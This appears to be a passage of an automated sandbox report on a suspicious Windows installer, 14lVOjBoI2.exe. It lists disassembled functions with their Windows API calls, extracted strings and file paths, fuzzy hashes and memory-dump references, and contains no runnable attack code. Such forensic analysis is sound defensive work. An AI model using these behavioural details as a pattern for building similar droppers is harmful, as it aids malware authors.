Opcode Fuzzy Hash: 80da3fb7de925908d89dc6e0e66abe912019b1009effaac14551dbb45b1ebe3e
Instruction Fuzzy Hash: D0B01231140300BFDA214F00DF09F057B21AB90700F10C034B344380F086711035EB4D

Function 1000121B Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

Memory Dump Source

Source File: 00000000.00000002.2128913504.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2128848115.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2128967473.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2129045974.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_14lVOjBoI2.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 9c514497dbeefca74e47a404b0d43d99d31e609484f565d326becb97793310f2
Instruction ID: 8a0ecea123cfc10dc9c303f5c75fb6a011d4279a03f0c54a853e6fb6a4ccb70c
Opcode Fuzzy Hash: 9c514497dbeefca74e47a404b0d43d99d31e609484f565d326becb97793310f2
Instruction Fuzzy Hash: E3B012B0A00010DFFE00CB64CC8AF363358D740340F018000F701D0158C53088108638

Non-executed Functions

Function 004052F3 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405351
GetDlgItem.USER32(?,000003EE), ref: 00405360
GetClientRect.USER32(?,?), ref: 0040539D
GetSystemMetrics.USER32(00000002), ref: 004053A4
SendMessageW.USER32(?,00001061,00000000,?), ref: 004053C5
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004053D6
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004053E9
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004053F7
SendMessageW.USER32(?,00001024,00000000,?), ref: 0040540A
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040542C
ShowWindow.USER32(?,00000008), ref: 00405440
GetDlgItem.USER32(?,000003EC), ref: 00405461
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405471
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040548A
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405496
GetDlgItem.USER32(?,000003F8), ref: 0040536F

Part of subcall function 0040414E: SendMessageW.USER32(00000028,?,00000001,00403F7A), ref: 0040415C

GetDlgItem.USER32(?,000003EC), ref: 004054B3
CreateThread.KERNEL32(00000000,00000000,Function_00005287,00000000), ref: 004054C1
CloseHandle.KERNEL32(00000000), ref: 004054C8
ShowWindow.USER32(00000000), ref: 004054EC
ShowWindow.USER32(?,00000008), ref: 004054F1
ShowWindow.USER32(00000008), ref: 0040553B
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040556F
CreatePopupMenu.USER32 ref: 00405580
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405594
GetWindowRect.USER32(?,?), ref: 004055B4
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004055CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405605
OpenClipboard.USER32(00000000), ref: 00405615
EmptyClipboard.USER32 ref: 0040561B
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405627
GlobalLock.KERNEL32(00000000), ref: 00405631
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405645
GlobalUnlock.KERNEL32(00000000), ref: 00405665
SetClipboardData.USER32(0000000D,00000000), ref: 00405670
CloseClipboard.USER32 ref: 00405676

Strings

{, xrefs: 00405559

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 6a0fc3a2d5fa7d70d7ffe9782798eb57218c845f869a5f65bcd99de69d398bf2
Instruction ID: bedd14c977596f777f0676ed5d78e17ab23f6a1f4e688fc8743dda88f8352f2f
Opcode Fuzzy Hash: 6a0fc3a2d5fa7d70d7ffe9782798eb57218c845f869a5f65bcd99de69d398bf2
Instruction Fuzzy Hash: 85B15A71900608FFDB11AF60DD89AAE7B79FB48355F00803AFA41BA1A0CB755E51DF58

Function 004045B4 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404603
SetWindowTextW.USER32(00000000,?), ref: 0040462D
SHBrowseForFolderW.SHELL32(?), ref: 004046DE
CoTaskMemFree.OLE32(00000000), ref: 004046E9
lstrcmpiW.KERNEL32(Call,0042D268,00000000,?,?), ref: 0040471B
lstrcatW.KERNEL32(?,Call), ref: 00404727
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404739

Part of subcall function 0040577E: GetDlgItemTextW.USER32(?,?,00000400,00404770), ref: 00405791

Part of subcall function 004062E9: CharNextW.USER32(0040A300,*?|<>/":,00000000,"C:\Users\user\Desktop\14lVOjBoI2.exe",76F93420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 0040634C
Part of subcall function 004062E9: CharNextW.USER32(0040A300,0040A300,0040A300,00000000), ref: 0040635B
Part of subcall function 004062E9: CharNextW.USER32(0040A300,"C:\Users\user\Desktop\14lVOjBoI2.exe",76F93420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00406360
Part of subcall function 004062E9: CharPrevW.USER32(0040A300,0040A300,76F93420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00406373

GetDiskFreeSpaceW.KERNEL32(0042B238,?,?,0000040F,?,0042B238,0042B238,?,00000001,0042B238,?,?,000003FB,?), ref: 004047FC
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404817

Part of subcall function 00404970: lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404A11
Part of subcall function 00404970: wsprintfW.USER32 ref: 00404A1A
Part of subcall function 00404970: SetDlgItemTextW.USER32(?,0042D268), ref: 00404A2D

Strings

A, xrefs: 004046D7
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 00404704
Call, xrefs: 00404715, 0040471A, 00404725

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving$Call
API String ID: 2624150263-922056177
Opcode ID: 97dbdcd0a7a2851c12e583ff475ec9ec315e271f733aa0b940815c47a6976e5e
Instruction ID: 407ae004ccebb682b028ef0dda1631611b85a4c4b0528499d59b6de2b9b5396a
Opcode Fuzzy Hash: 97dbdcd0a7a2851c12e583ff475ec9ec315e271f733aa0b940815c47a6976e5e
Instruction Fuzzy Hash: 9CA171B1900208ABDB11AFA6CD85AAF77B8EF84314F10843BF601B72D1D77C89418B69

Function 10001B18 Relevance: 20.0, APIs: 13, Instructions: 544stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 1000121B: GlobalAlloc.KERNELBASE(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

GlobalAlloc.KERNEL32(00000040,00001CA4), ref: 10001C24
lstrcpyW.KERNEL32(00000008,?), ref: 10001C6C
lstrcpyW.KERNEL32(00000808,?), ref: 10001C76
GlobalFree.KERNEL32(00000000), ref: 10001C89
GlobalFree.KERNEL32(?), ref: 10001D83
GlobalFree.KERNEL32(?), ref: 10001D88
GlobalFree.KERNEL32(?), ref: 10001D8D
GlobalFree.KERNEL32(00000000), ref: 10001F38
lstrcpyW.KERNEL32(?,?), ref: 1000209C

Memory Dump Source

Source File: 00000000.00000002.2128913504.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2128848115.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2128967473.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2129045974.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_14lVOjBoI2.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc
String ID:
API String ID: 4227406936-0
Opcode ID: e30de6db6a834bf10e5b97208fc3b89c024e60f2dd318f1058e55d56930b3bd8
Instruction ID: 952ca616c20dc2fa21031af5d26a5f3ec91fa4f9dea92b18a1e2b318678e368b
Opcode Fuzzy Hash: e30de6db6a834bf10e5b97208fc3b89c024e60f2dd318f1058e55d56930b3bd8
Instruction Fuzzy Hash: 10129C75D0064AEFEB20CFA4C8806EEB7F4FB083D4F61452AE565E7198D774AA80DB50

Function 0040686A Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df035667192aca5c3680bb857e8dd47c0aa2c6f6aae311b2a540ed6b21077dfa
Instruction ID: 1644c94297a6e2d1b4e9f0aeee9f0c77f66fc5de92a1577942f5ef847e7267c5
Opcode Fuzzy Hash: df035667192aca5c3680bb857e8dd47c0aa2c6f6aae311b2a540ed6b21077dfa
Instruction Fuzzy Hash: 8DE17A7190070ADFDB24CF58C890BAAB7F5FB45305F15892EE497A7291D738AAA1CF04

Function 00407041 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad3a06017d63110f505e6ee1591874ec5e375aadb040ddd80f083a0c788ff2d1
Instruction ID: 4e7e9ca0714fd30891db9328173e30945d26479923c7842d5bcb9add60bdfbdd
Opcode Fuzzy Hash: ad3a06017d63110f505e6ee1591874ec5e375aadb040ddd80f083a0c788ff2d1
Instruction Fuzzy Hash: 4BC14931E04219DBDF18CF68C4905EEB7B2BF98314F25826AD8567B384D7346A42CF95

Function 004042B6 Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404354
GetDlgItem.USER32(?,000003E8), ref: 00404368
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404385
GetSysColor.USER32(?), ref: 00404396
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004043A4
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004043B2
lstrlenW.KERNEL32(?), ref: 004043B7
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004043C4
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004043D9
GetDlgItem.USER32(?,0000040A), ref: 00404432
SendMessageW.USER32(00000000), ref: 00404439
GetDlgItem.USER32(?,000003E8), ref: 00404464
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004044A7
LoadCursorW.USER32(00000000,00007F02), ref: 004044B5
SetCursor.USER32(00000000), ref: 004044B8
ShellExecuteW.SHELL32(0000070B,open,00432EA0,00000000,00000000,00000001), ref: 004044CD
LoadCursorW.USER32(00000000,00007F00), ref: 004044D9
SetCursor.USER32(00000000), ref: 004044DC
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040450B
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040451D

Strings

N, xrefs: 00404452
-B@, xrefs: 004044C2
open, xrefs: 004044C5
Call, xrefs: 00404493

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: -B@$Call$N$open
API String ID: 3615053054-1446803726
Opcode ID: 36576130f872884c293bcf5f2af5e47814bd4f236bd745ad96bf50452987c1a6
Instruction ID: dd3f9e4c49c61f52868447dcb3d39b77a72b713ccf0d54d9464424dd5907340f
Opcode Fuzzy Hash: 36576130f872884c293bcf5f2af5e47814bd4f236bd745ad96bf50452987c1a6
Instruction Fuzzy Hash: E87190B1900209BFDB109F61DD89EAA7B69FB84355F00803AFB05BA1D0C778AD51CF98

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00433F00,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 836f1adf353e2d325b24016f8fe56e8870fd4280f6f4b89fbeb337628f0c6723
Instruction ID: 6108585e84898fc0a566315ef3a84ca8793ce744416779fac967068cfe9173e2
Opcode Fuzzy Hash: 836f1adf353e2d325b24016f8fe56e8870fd4280f6f4b89fbeb337628f0c6723
Instruction Fuzzy Hash: 0E418A71800209AFCB058F95DE459AFBBB9FF44310F04842EF991AA1A0C738EA54DFA4

Function 00405D84 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00430908,NUL,?,00000000,?,0040A300,00405F17,?,?), ref: 00405D93
CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,0040A300,00405F17,?,?), ref: 00405DB7
GetShortPathNameW.KERNEL32(?,00430908,00000400), ref: 00405DC0

Part of subcall function 00405B8F: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B9F
Part of subcall function 00405B8F: lstrlenA.KERNEL32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BD1

GetShortPathNameW.KERNEL32(00431108,00431108,00000400), ref: 00405DDD
wsprintfA.USER32 ref: 00405DFB
GetFileSize.KERNEL32(00000000,00000000,00431108,C0000000,00000004,00431108,?,?,?,?,?), ref: 00405E36
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405E45
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7D
SetFilePointer.KERNEL32(0040A578,00000000,00000000,00000000,00000000,00430508,00000000,-0000000A,0040A578,00000000,[Rename],00000000,00000000,00000000), ref: 00405ED3
GlobalFree.KERNEL32(00000000), ref: 00405EE4
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405EEB

Part of subcall function 00405C2A: GetFileAttributesW.KERNELBASE(00000003,00402E2E,C:\Users\user\Desktop\14lVOjBoI2.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

Strings

NUL, xrefs: 00405D8D
[Rename], xrefs: 00405E65, 00405E77
%ls=%ls, xrefs: 00405DF1

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
String ID: %ls=%ls$NUL$[Rename]
API String ID: 222337774-899692902
Opcode ID: b2f9954a637af8ebec5c0b1a6beb43ebeeb7d59e5d1590defe92d75fa46bc12e
Instruction ID: 58c57230207582c12286da0908ad594a16be4941a6f2872b3690da29fc8d014c
Opcode Fuzzy Hash: b2f9954a637af8ebec5c0b1a6beb43ebeeb7d59e5d1590defe92d75fa46bc12e
Instruction Fuzzy Hash: 01311370600B18BBD2206B219D49F6B3A5CEF45755F14043AB981F62D2EE7CAA01CAAD

Function 100024A9 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 1000121B: GlobalAlloc.KERNELBASE(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

GlobalFree.KERNEL32(?), ref: 10002572
GlobalFree.KERNEL32(00000000), ref: 100025AD

Strings

s<u, xrefs: 100024B9

Memory Dump Source

Source File: 00000000.00000002.2128913504.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2128848115.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2128967473.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2129045974.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_14lVOjBoI2.jbxd

Similarity

API ID: Global$Free$Alloc
String ID: s<u
API String ID: 1780285237-779365171
Opcode ID: a621a955531d0e661206b23193f22b54096652e1fd49661ebc4a0141683b6ddb
Instruction ID: 76257f5bf6759f365bfcd452de7d39bb0b2322773c3eba187a8a795e141f7608
Opcode Fuzzy Hash: a621a955531d0e661206b23193f22b54096652e1fd49661ebc4a0141683b6ddb
Instruction Fuzzy Hash: 6831DE71504A21EFF321CF14CCA8E2B7BF8FB853D2F114529FA40961A8CB319851DB69

Function 004062E9 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(0040A300,*?|<>/":,00000000,"C:\Users\user\Desktop\14lVOjBoI2.exe",76F93420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 0040634C
CharNextW.USER32(0040A300,0040A300,0040A300,00000000), ref: 0040635B
CharNextW.USER32(0040A300,"C:\Users\user\Desktop\14lVOjBoI2.exe",76F93420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00406360
CharPrevW.USER32(0040A300,0040A300,76F93420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00406373

Strings

"C:\Users\user\Desktop\14lVOjBoI2.exe", xrefs: 0040632D
*?|<>/":, xrefs: 0040633B
C:\Users\user\AppData\Local\Temp\, xrefs: 004062EA

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\14lVOjBoI2.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-807749564
Opcode ID: beead49ce65fad8369d40c55e1945ba00e1ab41150cab7c26a3550435dbf32aa
Instruction ID: f5504631107e1e3793a073f133b65ff293a0897d7111eb10bd5d41781883406d
Opcode Fuzzy Hash: beead49ce65fad8369d40c55e1945ba00e1ab41150cab7c26a3550435dbf32aa
Instruction Fuzzy Hash: B611C42690061295DB303B558C84AB762F8EF54750F56843FED86B32D0EB7C9CA2C6ED

Function 00404180 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040419D
GetSysColor.USER32(00000000), ref: 004041B9
SetTextColor.GDI32(?,00000000), ref: 004041C5
SetBkMode.GDI32(?,?), ref: 004041D1
GetSysColor.USER32(?), ref: 004041E4
SetBkColor.GDI32(?,?), ref: 004041F4
DeleteObject.GDI32(?), ref: 0040420E
CreateBrushIndirect.GDI32(?), ref: 00404218

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
